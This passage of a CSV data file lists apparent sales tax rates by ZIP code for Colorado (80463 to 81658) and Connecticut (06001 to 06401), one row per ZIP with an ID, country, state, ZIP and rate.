US-CO-80463,US,CO,80463,4.4,,,, US-CO-80465,US,CO,80465,4.5,,,, US-CO-80466,US,CO,80466,4.8,,,, US-CO-80467,US,CO,80467,3.9,,,, US-CO-80468,US,CO,80468,3.9,,,, US-CO-80469,US,CO,80469,3.9,,,, US-CO-80470,US,CO,80470,4.5,,,, US-CO-80471,US,CO,80471,4.8,,,, US-CO-80473,US,CO,80473,6.9,,,, US-CO-80474,US,CO,80474,2.9,,,, US-CO-80475,US,CO,80475,3.9,,,, US-CO-80476,US,CO,80476,6.9,,,, US-CO-80477,US,CO,80477,8.65,,,, US-CO-80478,US,CO,80478,3.9,,,, US-CO-80479,US,CO,80479,3.9,,,, US-CO-80480,US,CO,80480,6.9,,,, US-CO-80481,US,CO,80481,4.8,,,, US-CO-80482,US,CO,80482,8.9,,,, US-CO-80483,US,CO,80483,5.9,,,, US-CO-80487,US,CO,80487,8.65,,,, US-CO-80488,US,CO,80488,8.65,,,, US-CO-80497,US,CO,80497,7.775,,,, US-CO-80498,US,CO,80498,5.775,,,, US-CO-80501,US,CO,80501,8.075,,,, US-CO-80502,US,CO,80502,8.075,,,, US-CO-80503,US,CO,80503,8.075,,,, US-CO-80504,US,CO,80504,8.075,,,, US-CO-80510,US,CO,80510,4.8,,,, US-CO-80511,US,CO,80511,7.5,,,, US-CO-80512,US,CO,80512,3.5,,,, US-CO-80513,US,CO,80513,3.5,,,, US-CO-80514,US,CO,80514,5.9,,,, US-CO-80515,US,CO,80515,3.5,,,, US-CO-80516,US,CO,80516,7.4,,,, US-CO-80517,US,CO,80517,7.5,,,, US-CO-80520,US,CO,80520,4.9,,,, US-CO-80521,US,CO,80521,7.35,,,, US-CO-80522,US,CO,80522,7.35,,,, US-CO-80523,US,CO,80523,7.35,,,, US-CO-80524,US,CO,80524,7.35,,,, US-CO-80525,US,CO,80525,7.35,,,, US-CO-80526,US,CO,80526,7.35,,,, US-CO-80527,US,CO,80527,7.35,,,, US-CO-80528,US,CO,80528,7.35,,,, US-CO-80530,US,CO,80530,5.4,,,, US-CO-80532,US,CO,80532,3.5,,,, US-CO-80533,US,CO,80533,4.8,,,, US-CO-80534,US,CO,80534,5.9,,,, US-CO-80535,US,CO,80535,3.5,,,, US-CO-80536,US,CO,80536,3.5,,,, US-CO-80537,US,CO,80537,6.5,,,, US-CO-80538,US,CO,80538,6.5,,,, US-CO-80539,US,CO,80539,6.5,,,, US-CO-80540,US,CO,80540,3.5,,,, US-CO-80541,US,CO,80541,3.5,,,, US-CO-80542,US,CO,80542,4.9,,,, US-CO-80543,US,CO,80543,5.4,,,, US-CO-80544,US,CO,80544,5.8,,,, US-CO-80545,US,CO,80545,3.5,,,, US-CO-80546,US,CO,80546,5.9,,,, US-CO-80547,US,CO,80547,6.5,,,, US-CO-80549,US,CO,80549,6.5,,,, US-CO-80550,US,CO,80550,6.1,,,, US-CO-80551,US,CO,80551,6.1,,,, US-CO-80553,US,CO,80553,7.35,,,, US-CO-80601,US,CO,80601,8.5,,,, US-CO-80602,US,CO,80602,8.5,,,, US-CO-80603,US,CO,80603,4.75,,,, US-CO-80610,US,CO,80610,2.9,,,, US-CO-80611,US,CO,80611,2.9,,,, US-CO-80612,US,CO,80612,2.9,,,, US-CO-80614,US,CO,80614,8.5,,,, US-CO-80615,US,CO,80615,5.9,,,, US-CO-80620,US,CO,80620,6.4,,,, US-CO-80621,US,CO,80621,6.9,,,, US-CO-80622,US,CO,80622,2.9,,,, US-CO-80623,US,CO,80623,6.9,,,, US-CO-80624,US,CO,80624,2.9,,,, US-CO-80631,US,CO,80631,6.36,,,, US-CO-80632,US,CO,80632,6.36,,,, US-CO-80633,US,CO,80633,6.36,,,, US-CO-80634,US,CO,80634,6.36,,,, US-CO-80638,US,CO,80638,6.36,,,, US-CO-80639,US,CO,80639,6.36,,,, US-CO-80640,US,CO,80640,8.25,,,, US-CO-80642,US,CO,80642,2.9,,,, US-CO-80643,US,CO,80643,2.9,,,, US-CO-80644,US,CO,80644,2.9,,,, US-CO-80645,US,CO,80645,2.9,,,, US-CO-80646,US,CO,80646,2.9,,,, US-CO-80648,US,CO,80648,2.9,,,, US-CO-80649,US,CO,80649,2.9,,,, US-CO-80650,US,CO,80650,2.9,,,, US-CO-80651,US,CO,80651,2.9,,,, US-CO-80652,US,CO,80652,2.9,,,, US-CO-80653,US,CO,80653,2.9,,,, US-CO-80654,US,CO,80654,2.9,,,, US-CO-80701,US,CO,80701,5.9,,,, US-CO-80705,US,CO,80705,5.9,,,, US-CO-80720,US,CO,80720,4.4,,,, US-CO-80721,US,CO,80721,3.9,,,, US-CO-80722,US,CO,80722,3.9,,,, US-CO-80723,US,CO,80723,6.5,,,, US-CO-80726,US,CO,80726,3.9,,,, US-CO-80727,US,CO,80727,2.9,,,, US-CO-80728,US,CO,80728,3.9,,,, US-CO-80729,US,CO,80729,2.9,,,, US-CO-80731,US,CO,80731,6.4,,,, US-CO-80732,US,CO,80732,2.9,,,, US-CO-80733,US,CO,80733,2.9,,,, US-CO-80734,US,CO,80734,5.4,,,, US-CO-80735,US,CO,80735,2.9,,,, US-CO-80736,US,CO,80736,3.9,,,, US-CO-80737,US,CO,80737,5.9,,,, US-CO-80740,US,CO,80740,4.4,,,, US-CO-80741,US,CO,80741,3.9,,,, US-CO-80742,US,CO,80742,2.9,,,, US-CO-80743,US,CO,80743,4.4,,,, US-CO-80744,US,CO,80744,4.9,,,, US-CO-80745,US,CO,80745,3.9,,,, US-CO-80746,US,CO,80746,3.9,,,, US-CO-80747,US,CO,80747,3.9,,,, US-CO-80749,US,CO,80749,4.9,,,, US-CO-80750,US,CO,80750,2.9,,,, US-CO-80751,US,CO,80751,7,,,, US-CO-80754,US,CO,80754,2.9,,,, US-CO-80755,US,CO,80755,2.9,,,, US-CO-80757,US,CO,80757,4.4,,,, US-CO-80758,US,CO,80758,5.4,,,, US-CO-80759,US,CO,80759,5.9,,,, US-CO-80801,US,CO,80801,4.4,,,, US-CO-80802,US,CO,80802,2.9,,,, US-CO-80804,US,CO,80804,4.9,,,, US-CO-80805,US,CO,80805,2.9,,,, US-CO-80807,US,CO,80807,4.9,,,, US-CO-80808,US,CO,80808,5.13,,,, US-CO-80809,US,CO,80809,5.13,,,, US-CO-80810,US,CO,80810,2.9,,,, US-CO-80812,US,CO,80812,4.4,,,, US-CO-80813,US,CO,80813,3.9,,,, US-CO-80814,US,CO,80814,3.9,,,, US-CO-80815,US,CO,80815,2.9,,,, US-CO-80816,US,CO,80816,3.9,,,, US-CO-80817,US,CO,80817,7.88,,,, US-CO-80818,US,CO,80818,4.9,,,, US-CO-80819,US,CO,80819,8.13,,,, US-CO-80820,US,CO,80820,3.9,,,, US-CO-80821,US,CO,80821,4.9,,,, US-CO-80822,US,CO,80822,2.9,,,, US-CO-80823,US,CO,80823,4.9,,,, US-CO-80824,US,CO,80824,2.9,,,, US-CO-80825,US,CO,80825,2.9,,,, US-CO-80826,US,CO,80826,4.9,,,, US-CO-80827,US,CO,80827,3.9,,,, US-CO-80828,US,CO,80828,6.9,,,, US-CO-80829,US,CO,80829,9.03,,,, US-CO-80830,US,CO,80830,3.9,,,, US-CO-80831,US,CO,80831,5.13,,,, US-CO-80832,US,CO,80832,3.9,,,, US-CO-80833,US,CO,80833,5.13,,,, US-CO-80834,US,CO,80834,2.9,,,, US-CO-80835,US,CO,80835,3.9,,,, US-CO-80836,US,CO,80836,2.9,,,, US-CO-80840,US,CO,80840,2.9,,,, US-CO-80841,US,CO,80841,2.9,,,, US-CO-80860,US,CO,80860,6.9,,,, US-CO-80861,US,CO,80861,2.9,,,, US-CO-80862,US,CO,80862,2.9,,,, US-CO-80863,US,CO,80863,6.9,,,, US-CO-80864,US,CO,80864,5.13,,,, US-CO-80866,US,CO,80866,6.9,,,, US-CO-80901,US,CO,80901,7.63,,,, US-CO-80902,US,CO,80902,5.13,,,, US-CO-80903,US,CO,80903,7.63,,,, US-CO-80904,US,CO,80904,7.63,,,, US-CO-80905,US,CO,80905,7.63,,,, US-CO-80906,US,CO,80906,7.63,,,, US-CO-80907,US,CO,80907,7.63,,,, US-CO-80908,US,CO,80908,5.13,,,, US-CO-80909,US,CO,80909,7.63,,,, US-CO-80910,US,CO,80910,7.63,,,, US-CO-80911,US,CO,80911,5.13,,,, US-CO-80912,US,CO,80912,2.9,,,, US-CO-80913,US,CO,80913,5.13,,,, US-CO-80914,US,CO,80914,7.63,,,, US-CO-80915,US,CO,80915,5.13,,,, US-CO-80916,US,CO,80916,7.63,,,, US-CO-80917,US,CO,80917,7.63,,,, US-CO-80918,US,CO,80918,7.63,,,, US-CO-80919,US,CO,80919,7.63,,,, US-CO-80920,US,CO,80920,7.63,,,, US-CO-80921,US,CO,80921,5.13,,,, US-CO-80922,US,CO,80922,7.63,,,, US-CO-80923,US,CO,80923,7.63,,,, US-CO-80924,US,CO,80924,7.63,,,, US-CO-80925,US,CO,80925,5.13,,,, US-CO-80926,US,CO,80926,5.13,,,, US-CO-80927,US,CO,80927,7.63,,,, US-CO-80928,US,CO,80928,5.13,,,, US-CO-80929,US,CO,80929,5.13,,,, US-CO-80930,US,CO,80930,5.13,,,, US-CO-80931,US,CO,80931,5.13,,,, US-CO-80932,US,CO,80932,7.63,,,, US-CO-80933,US,CO,80933,7.63,,,, US-CO-80934,US,CO,80934,7.63,,,, US-CO-80935,US,CO,80935,7.63,,,, US-CO-80936,US,CO,80936,7.63,,,, US-CO-80937,US,CO,80937,7.63,,,, US-CO-80938,US,CO,80938,7.63,,,, US-CO-80939,US,CO,80939,5.13,,,, US-CO-80941,US,CO,80941,7.63,,,, US-CO-80942,US,CO,80942,7.63,,,, US-CO-80944,US,CO,80944,7.63,,,, US-CO-80946,US,CO,80946,7.63,,,, US-CO-80947,US,CO,80947,7.63,,,, US-CO-80949,US,CO,80949,7.63,,,, US-CO-80950,US,CO,80950,7.63,,,, US-CO-80951,US,CO,80951,5.13,,,, US-CO-80960,US,CO,80960,7.63,,,, US-CO-80962,US,CO,80962,7.63,,,, US-CO-80970,US,CO,80970,5.13,,,, US-CO-80977,US,CO,80977,5.13,,,, US-CO-80995,US,CO,80995,7.63,,,, US-CO-80997,US,CO,80997,7.63,,,, US-CO-81001,US,CO,81001,7.4,,,, US-CO-81002,US,CO,81002,7.4,,,, US-CO-81003,US,CO,81003,7.4,,,, US-CO-81004,US,CO,81004,7.4,,,, US-CO-81005,US,CO,81005,7.4,,,, US-CO-81006,US,CO,81006,3.9,,,, US-CO-81007,US,CO,81007,3.9,,,, US-CO-81008,US,CO,81008,7.4,,,, US-CO-81009,US,CO,81009,7.4,,,, US-CO-81010,US,CO,81010,7.4,,,, US-CO-81011,US,CO,81011,7.4,,,, US-CO-81012,US,CO,81012,7.4,,,, US-CO-81019,US,CO,81019,7.4,,,, US-CO-81020,US,CO,81020,2.9,,,, US-CO-81021,US,CO,81021,2.9,,,, US-CO-81022,US,CO,81022,3.9,,,, US-CO-81023,US,CO,81023,3.9,,,, US-CO-81024,US,CO,81024,2.9,,,, US-CO-81025,US,CO,81025,3.9,,,, US-CO-81027,US,CO,81027,2.9,,,, US-CO-81029,US,CO,81029,2.9,,,, US-CO-81030,US,CO,81030,3.9,,,, US-CO-81033,US,CO,81033,4.9,,,, US-CO-81034,US,CO,81034,4.9,,,, US-CO-81036,US,CO,81036,2.9,,,, US-CO-81038,US,CO,81038,6.9,,,, US-CO-81039,US,CO,81039,6.9,,,, US-CO-81040,US,CO,81040,4.9,,,, US-CO-81041,US,CO,81041,3.9,,,, US-CO-81043,US,CO,81043,3.9,,,, US-CO-81044,US,CO,81044,3.9,,,, US-CO-81045,US,CO,81045,2.9,,,, US-CO-81046,US,CO,81046,2.9,,,, US-CO-81047,US,CO,81047,3.9,,,, US-CO-81049,US,CO,81049,2.9,,,, US-CO-81050,US,CO,81050,6.9,,,, US-CO-81052,US,CO,81052,7.15,,,, US-CO-81054,US,CO,81054,6.9,,,, US-CO-81055,US,CO,81055,4.9,,,, US-CO-81057,US,CO,81057,3.9,,,, US-CO-81058,US,CO,81058,3.9,,,, US-CO-81059,US,CO,81059,2.9,,,, US-CO-81062,US,CO,81062,4.9,,,, US-CO-81063,US,CO,81063,6.9,,,, US-CO-81064,US,CO,81064,2.9,,,, US-CO-81067,US,CO,81067,6.9,,,, US-CO-81069,US,CO,81069,3.9,,,, US-CO-81071,US,CO,81071,2.9,,,, US-CO-81073,US,CO,81073,4.9,,,, US-CO-81076,US,CO,81076,4.9,,,, US-CO-81077,US,CO,81077,3.9,,,, US-CO-81081,US,CO,81081,2.9,,,, US-CO-81082,US,CO,81082,6.9,,,, US-CO-81084,US,CO,81084,2.9,,,, US-CO-81087,US,CO,81087,2.9,,,, US-CO-81089,US,CO,81089,7.9,,,, US-CO-81090,US,CO,81090,2.9,,,, US-CO-81091,US,CO,81091,2.9,,,, US-CO-81092,US,CO,81092,3.9,,,, US-CO-81101,US,CO,81101,6.9,,,, US-CO-81102,US,CO,81102,6.9,,,, US-CO-81120,US,CO,81120,2.9,,,, US-CO-81121,US,CO,81121,6.9,,,, US-CO-81122,US,CO,81122,4.9,,,, US-CO-81123,US,CO,81123,3.9,,,, US-CO-81124,US,CO,81124,2.9,,,, US-CO-81125,US,CO,81125,3.9,,,, US-CO-81126,US,CO,81126,3.9,,,, US-CO-81128,US,CO,81128,6.9,,,, US-CO-81129,US,CO,81129,2.9,,,, US-CO-81130,US,CO,81130,5.5,,,, US-CO-81131,US,CO,81131,6.9,,,, US-CO-81132,US,CO,81132,7.5,,,, US-CO-81133,US,CO,81133,3.9,,,, US-CO-81135,US,CO,81135,7.5,,,, US-CO-81136,US,CO,81136,4.9,,,, US-CO-81137,US,CO,81137,4.9,,,, US-CO-81138,US,CO,81138,3.9,,,, US-CO-81140,US,CO,81140,2.9,,,, US-CO-81141,US,CO,81141,3.9,,,, US-CO-81143,US,CO,81143,3.9,,,, US-CO-81144,US,CO,81144,7.5,,,, US-CO-81146,US,CO,81146,4.9,,,, US-CO-81147,US,CO,81147,6.9,,,, US-CO-81148,US,CO,81148,3.9,,,, US-CO-81149,US,CO,81149,3.9,,,, US-CO-81151,US,CO,81151,2.9,,,, US-CO-81152,US,CO,81152,3.9,,,, US-CO-81154,US,CO,81154,5.5,,,, US-CO-81155,US,CO,81155,3.9,,,, US-CO-81157,US,CO,81157,6.9,,,, US-CO-81201,US,CO,81201,7.9,,,, US-CO-81210,US,CO,81210,4.5,,,, US-CO-81211,US,CO,81211,4.9,,,, US-CO-81212,US,CO,81212,6.4,,,, US-CO-81215,US,CO,81215,6.4,,,, US-CO-81220,US,CO,81220,4.5,,,, US-CO-81221,US,CO,81221,4.4,,,, US-CO-81222,US,CO,81222,4.4,,,, US-CO-81223,US,CO,81223,4.4,,,, US-CO-81224,US,CO,81224,4.5,,,, US-CO-81225,US,CO,81225,8.5,,,, US-CO-81226,US,CO,81226,6.9,,,, US-CO-81227,US,CO,81227,7.9,,,, US-CO-81228,US,CO,81228,4.9,,,, US-CO-81230,US,CO,81230,8.25,,,, US-CO-81231,US,CO,81231,8.25,,,, US-CO-81232,US,CO,81232,7.9,,,, US-CO-81233,US,CO,81233,4.4,,,, US-CO-81235,US,CO,81235,7.9,,,, US-CO-81236,US,CO,81236,4.9,,,, US-CO-81237,US,CO,81237,4.5,,,, US-CO-81239,US,CO,81239,4.5,,,, US-CO-81240,US,CO,81240,4.4,,,, US-CO-81241,US,CO,81241,6.9,,,, US-CO-81242,US,CO,81242,6.9,,,, US-CO-81243,US,CO,81243,4.5,,,, US-CO-81244,US,CO,81244,4.4,,,, US-CO-81247,US,CO,81247,8.25,,,, US-CO-81248,US,CO,81248,3.9,,,, US-CO-81251,US,CO,81251,6.9,,,, US-CO-81252,US,CO,81252,4.9,,,, US-CO-81253,US,CO,81253,4.9,,,, US-CO-81290,US,CO,81290,6.9,,,, US-CO-81301,US,CO,81301,7.9,,,, US-CO-81302,US,CO,81302,7.9,,,, US-CO-81303,US,CO,81303,4.9,,,, US-CO-81320,US,CO,81320,2.9,,,, US-CO-81321,US,CO,81321,6.95,,,, US-CO-81323,US,CO,81323,2.9,,,, US-CO-81324,US,CO,81324,2.9,,,, US-CO-81325,US,CO,81325,3.9,,,, US-CO-81326,US,CO,81326,4.9,,,, US-CO-81327,US,CO,81327,2.9,,,, US-CO-81328,US,CO,81328,2.9,,,, US-CO-81329,US,CO,81329,4.9,,,, US-CO-81330,US,CO,81330,2.9,,,, US-CO-81331,US,CO,81331,2.9,,,, US-CO-81332,US,CO,81332,7.9,,,, US-CO-81334,US,CO,81334,2.9,,,, US-CO-81335,US,CO,81335,2.9,,,, US-CO-81401,US,CO,81401,7.65,,,, US-CO-81402,US,CO,81402,7.65,,,, US-CO-81403,US,CO,81403,4.65,,,, US-CO-81410,US,CO,81410,4.9,,,, US-CO-81411,US,CO,81411,4.65,,,, US-CO-81413,US,CO,81413,4.9,,,, US-CO-81414,US,CO,81414,4.9,,,, US-CO-81415,US,CO,81415,4.9,,,, US-CO-81416,US,CO,81416,7.9,,,, US-CO-81418,US,CO,81418,4.9,,,, US-CO-81419,US,CO,81419,4.9,,,, US-CO-81420,US,CO,81420,4.9,,,, US-CO-81422,US,CO,81422,8.65,,,, US-CO-81423,US,CO,81423,6.9,,,, US-CO-81424,US,CO,81424,8.65,,,, US-CO-81425,US,CO,81425,4.65,,,, US-CO-81426,US,CO,81426,3.9,,,, US-CO-81427,US,CO,81427,7.9,,,, US-CO-81428,US,CO,81428,4.9,,,, US-CO-81429,US,CO,81429,4.65,,,, US-CO-81430,US,CO,81430,3.9,,,, US-CO-81431,US,CO,81431,4.65,,,, US-CO-81432,US,CO,81432,4.9,,,, US-CO-81433,US,CO,81433,8.9,,,, US-CO-81434,US,CO,81434,4.5,,,, US-CO-81435,US,CO,81435,8.4,,,, US-CO-81501,US,CO,81501,7.65,,,, US-CO-81502,US,CO,81502,7.65,,,, US-CO-81503,US,CO,81503,4.9,,,, US-CO-81504,US,CO,81504,4.9,,,, US-CO-81505,US,CO,81505,7.65,,,, US-CO-81506,US,CO,81506,7.65,,,, US-CO-81507,US,CO,81507,4.9,,,, US-CO-81520,US,CO,81520,4.9,,,, US-CO-81521,US,CO,81521,7.9,,,, US-CO-81522,US,CO,81522,4.9,,,, US-CO-81523,US,CO,81523,4.9,,,, US-CO-81524,US,CO,81524,4.9,,,, US-CO-81525,US,CO,81525,4.9,,,, US-CO-81526,US,CO,81526,6.9,,,, US-CO-81527,US,CO,81527,4.9,,,, US-CO-81601,US,CO,81601,8.6,,,, US-CO-81602,US,CO,81602,8.6,,,, US-CO-81610,US,CO,81610,4.9,,,, US-CO-81611,US,CO,81611,9.3,,,, US-CO-81612,US,CO,81612,9.3,,,, US-CO-81615,US,CO,81615,10.4,,,, US-CO-81620,US,CO,81620,8.4,,,, US-CO-81621,US,CO,81621,8.2,,,, US-CO-81623,US,CO,81623,8.4,,,, US-CO-81624,US,CO,81624,4.9,,,, US-CO-81625,US,CO,81625,7.15,,,, US-CO-81626,US,CO,81626,7.15,,,, US-CO-81630,US,CO,81630,4.9,,,, US-CO-81631,US,CO,81631,8.4,,,, US-CO-81632,US,CO,81632,4.4,,,, US-CO-81633,US,CO,81633,4.9,,,, US-CO-81635,US,CO,81635,3.9,,,, US-CO-81636,US,CO,81636,7.65,,,, US-CO-81637,US,CO,81637,4.4,,,, US-CO-81638,US,CO,81638,4.9,,,, US-CO-81639,US,CO,81639,3.9,,,, US-CO-81640,US,CO,81640,4.9,,,, US-CO-81641,US,CO,81641,6.5,,,, US-CO-81642,US,CO,81642,6.9,,,, US-CO-81643,US,CO,81643,4.9,,,, US-CO-81645,US,CO,81645,8.4,,,, US-CO-81646,US,CO,81646,4.9,,,, US-CO-81647,US,CO,81647,3.9,,,, US-CO-81648,US,CO,81648,6.5,,,, US-CO-81649,US,CO,81649,7.4,,,, US-CO-81650,US,CO,81650,8.15,,,, US-CO-81652,US,CO,81652,6.9,,,, US-CO-81653,US,CO,81653,4.9,,,, US-CO-81654,US,CO,81654,6.9,,,, US-CO-81655,US,CO,81655,4.4,,,, US-CO-81656,US,CO,81656,6.9,,,, US-CO-81657,US,CO,81657,8.4,,,, US-CO-81658,US,CO,81658,8.4,,,, US-CT-06001,US,CT,06001,6.35,,,, US-CT-06002,US,CT,06002,6.35,,,, US-CT-06006,US,CT,06006,6.35,,,, US-CT-06010,US,CT,06010,6.35,,,, US-CT-06011,US,CT,06011,6.35,,,, US-CT-06013,US,CT,06013,6.35,,,, US-CT-06016,US,CT,06016,6.35,,,, US-CT-06018,US,CT,06018,6.35,,,, US-CT-06019,US,CT,06019,6.35,,,, US-CT-06020,US,CT,06020,6.35,,,, US-CT-06021,US,CT,06021,6.35,,,, US-CT-06022,US,CT,06022,6.35,,,, US-CT-06023,US,CT,06023,6.35,,,, US-CT-06024,US,CT,06024,6.35,,,, US-CT-06025,US,CT,06025,6.35,,,, US-CT-06026,US,CT,06026,6.35,,,, US-CT-06027,US,CT,06027,6.35,,,, US-CT-06028,US,CT,06028,6.35,,,, US-CT-06029,US,CT,06029,6.35,,,, US-CT-06030,US,CT,06030,6.35,,,, US-CT-06031,US,CT,06031,6.35,,,, US-CT-06032,US,CT,06032,6.35,,,, US-CT-06033,US,CT,06033,6.35,,,, US-CT-06034,US,CT,06034,6.35,,,, US-CT-06035,US,CT,06035,6.35,,,, US-CT-06037,US,CT,06037,6.35,,,, US-CT-06039,US,CT,06039,6.35,,,, US-CT-06040,US,CT,06040,6.35,,,, US-CT-06041,US,CT,06041,6.35,,,, US-CT-06042,US,CT,06042,6.35,,,, US-CT-06043,US,CT,06043,6.35,,,, US-CT-06045,US,CT,06045,6.35,,,, US-CT-06050,US,CT,06050,6.35,,,, US-CT-06051,US,CT,06051,6.35,,,, US-CT-06052,US,CT,06052,6.35,,,, US-CT-06053,US,CT,06053,6.35,,,, US-CT-06057,US,CT,06057,6.35,,,, US-CT-06058,US,CT,06058,6.35,,,, US-CT-06059,US,CT,06059,6.35,,,, US-CT-06060,US,CT,06060,6.35,,,, US-CT-06061,US,CT,06061,6.35,,,, US-CT-06062,US,CT,06062,6.35,,,, US-CT-06063,US,CT,06063,6.35,,,, US-CT-06064,US,CT,06064,6.35,,,, US-CT-06065,US,CT,06065,6.35,,,, US-CT-06066,US,CT,06066,6.35,,,, US-CT-06067,US,CT,06067,6.35,,,, US-CT-06068,US,CT,06068,6.35,,,, US-CT-06069,US,CT,06069,6.35,,,, US-CT-06070,US,CT,06070,6.35,,,, US-CT-06071,US,CT,06071,6.35,,,, US-CT-06072,US,CT,06072,6.35,,,, US-CT-06073,US,CT,06073,6.35,,,, US-CT-06074,US,CT,06074,6.35,,,, US-CT-06075,US,CT,06075,6.35,,,, US-CT-06076,US,CT,06076,6.35,,,, US-CT-06077,US,CT,06077,6.35,,,, US-CT-06078,US,CT,06078,6.35,,,, US-CT-06079,US,CT,06079,6.35,,,, US-CT-06080,US,CT,06080,6.35,,,, US-CT-06081,US,CT,06081,6.35,,,, US-CT-06082,US,CT,06082,6.35,,,, US-CT-06083,US,CT,06083,6.35,,,, US-CT-06084,US,CT,06084,6.35,,,, US-CT-06085,US,CT,06085,6.35,,,, US-CT-06087,US,CT,06087,6.35,,,, US-CT-06088,US,CT,06088,6.35,,,, US-CT-06089,US,CT,06089,6.35,,,, US-CT-06090,US,CT,06090,6.35,,,, US-CT-06091,US,CT,06091,6.35,,,, US-CT-06092,US,CT,06092,6.35,,,, US-CT-06093,US,CT,06093,6.35,,,, US-CT-06094,US,CT,06094,6.35,,,, US-CT-06095,US,CT,06095,6.35,,,, US-CT-06096,US,CT,06096,6.35,,,, US-CT-06098,US,CT,06098,6.35,,,, US-CT-06101,US,CT,06101,6.35,,,, US-CT-06102,US,CT,06102,6.35,,,, US-CT-06103,US,CT,06103,6.35,,,, US-CT-06104,US,CT,06104,6.35,,,, US-CT-06105,US,CT,06105,6.35,,,, US-CT-06106,US,CT,06106,6.35,,,, US-CT-06107,US,CT,06107,6.35,,,, US-CT-06108,US,CT,06108,6.35,,,, US-CT-06109,US,CT,06109,6.35,,,, US-CT-06110,US,CT,06110,6.35,,,, US-CT-06111,US,CT,06111,6.35,,,, US-CT-06112,US,CT,06112,6.35,,,, US-CT-06114,US,CT,06114,6.35,,,, US-CT-06115,US,CT,06115,6.35,,,, US-CT-06117,US,CT,06117,6.35,,,, US-CT-06118,US,CT,06118,6.35,,,, US-CT-06119,US,CT,06119,6.35,,,, US-CT-06120,US,CT,06120,6.35,,,, US-CT-06123,US,CT,06123,6.35,,,, US-CT-06126,US,CT,06126,6.35,,,, US-CT-06127,US,CT,06127,6.35,,,, US-CT-06128,US,CT,06128,6.35,,,, US-CT-06129,US,CT,06129,6.35,,,, US-CT-06131,US,CT,06131,6.35,,,, US-CT-06132,US,CT,06132,6.35,,,, US-CT-06133,US,CT,06133,6.35,,,, US-CT-06134,US,CT,06134,6.35,,,, US-CT-06137,US,CT,06137,6.35,,,, US-CT-06138,US,CT,06138,6.35,,,, US-CT-06140,US,CT,06140,6.35,,,, US-CT-06141,US,CT,06141,6.35,,,, US-CT-06142,US,CT,06142,6.35,,,, US-CT-06143,US,CT,06143,6.35,,,, US-CT-06144,US,CT,06144,6.35,,,, US-CT-06145,US,CT,06145,6.35,,,, US-CT-06146,US,CT,06146,6.35,,,, US-CT-06147,US,CT,06147,6.35,,,, US-CT-06150,US,CT,06150,6.35,,,, US-CT-06151,US,CT,06151,6.35,,,, US-CT-06152,US,CT,06152,6.35,,,, US-CT-06153,US,CT,06153,6.35,,,, US-CT-06154,US,CT,06154,6.35,,,, US-CT-06155,US,CT,06155,6.35,,,, US-CT-06156,US,CT,06156,6.35,,,, US-CT-06160,US,CT,06160,6.35,,,, US-CT-06161,US,CT,06161,6.35,,,, US-CT-06167,US,CT,06167,6.35,,,, US-CT-06176,US,CT,06176,6.35,,,, US-CT-06180,US,CT,06180,6.35,,,, US-CT-06183,US,CT,06183,6.35,,,, US-CT-06199,US,CT,06199,6.35,,,, US-CT-06226,US,CT,06226,6.35,,,, US-CT-06230,US,CT,06230,6.35,,,, US-CT-06231,US,CT,06231,6.35,,,, US-CT-06232,US,CT,06232,6.35,,,, US-CT-06233,US,CT,06233,6.35,,,, US-CT-06234,US,CT,06234,6.35,,,, US-CT-06235,US,CT,06235,6.35,,,, US-CT-06237,US,CT,06237,6.35,,,, US-CT-06238,US,CT,06238,6.35,,,, US-CT-06239,US,CT,06239,6.35,,,, US-CT-06241,US,CT,06241,6.35,,,, US-CT-06242,US,CT,06242,6.35,,,, US-CT-06243,US,CT,06243,6.35,,,, US-CT-06244,US,CT,06244,6.35,,,, US-CT-06245,US,CT,06245,6.35,,,, US-CT-06246,US,CT,06246,6.35,,,, US-CT-06247,US,CT,06247,6.35,,,, US-CT-06248,US,CT,06248,6.35,,,, US-CT-06249,US,CT,06249,6.35,,,, US-CT-06250,US,CT,06250,6.35,,,, US-CT-06251,US,CT,06251,6.35,,,, US-CT-06254,US,CT,06254,6.35,,,, US-CT-06255,US,CT,06255,6.35,,,, US-CT-06256,US,CT,06256,6.35,,,, US-CT-06258,US,CT,06258,6.35,,,, US-CT-06259,US,CT,06259,6.35,,,, US-CT-06260,US,CT,06260,6.35,,,, US-CT-06262,US,CT,06262,6.35,,,, US-CT-06263,US,CT,06263,6.35,,,, US-CT-06264,US,CT,06264,6.35,,,, US-CT-06265,US,CT,06265,6.35,,,, US-CT-06266,US,CT,06266,6.35,,,, US-CT-06267,US,CT,06267,6.35,,,, US-CT-06268,US,CT,06268,6.35,,,, US-CT-06269,US,CT,06269,6.35,,,, US-CT-06277,US,CT,06277,6.35,,,, US-CT-06278,US,CT,06278,6.35,,,, US-CT-06279,US,CT,06279,6.35,,,, US-CT-06280,US,CT,06280,6.35,,,, US-CT-06281,US,CT,06281,6.35,,,, US-CT-06282,US,CT,06282,6.35,,,, US-CT-06320,US,CT,06320,6.35,,,, US-CT-06330,US,CT,06330,6.35,,,, US-CT-06331,US,CT,06331,6.35,,,, US-CT-06332,US,CT,06332,6.35,,,, US-CT-06333,US,CT,06333,6.35,,,, US-CT-06334,US,CT,06334,6.35,,,, US-CT-06335,US,CT,06335,6.35,,,, US-CT-06336,US,CT,06336,6.35,,,, US-CT-06338,US,CT,06338,6.35,,,, US-CT-06339,US,CT,06339,6.35,,,, US-CT-06340,US,CT,06340,6.35,,,, US-CT-06349,US,CT,06349,6.35,,,, US-CT-06350,US,CT,06350,6.35,,,, US-CT-06351,US,CT,06351,6.35,,,, US-CT-06353,US,CT,06353,6.35,,,, US-CT-06354,US,CT,06354,6.35,,,, US-CT-06355,US,CT,06355,6.35,,,, US-CT-06357,US,CT,06357,6.35,,,, US-CT-06359,US,CT,06359,6.35,,,, US-CT-06360,US,CT,06360,6.35,,,, US-CT-06365,US,CT,06365,6.35,,,, US-CT-06370,US,CT,06370,6.35,,,, US-CT-06371,US,CT,06371,6.35,,,, US-CT-06372,US,CT,06372,6.35,,,, US-CT-06373,US,CT,06373,6.35,,,, US-CT-06374,US,CT,06374,6.35,,,, US-CT-06375,US,CT,06375,6.35,,,, US-CT-06376,US,CT,06376,6.35,,,, US-CT-06377,US,CT,06377,6.35,,,, US-CT-06378,US,CT,06378,6.35,,,, US-CT-06379,US,CT,06379,6.35,,,, US-CT-06380,US,CT,06380,6.35,,,, US-CT-06382,US,CT,06382,6.35,,,, US-CT-06383,US,CT,06383,6.35,,,, US-CT-06384,US,CT,06384,6.35,,,, US-CT-06385,US,CT,06385,6.35,,,, US-CT-06387,US,CT,06387,6.35,,,, US-CT-06388,US,CT,06388,6.35,,,, US-CT-06389,US,CT,06389,6.35,,,, US-CT-06401,US,CT,06401,6.35,,,, 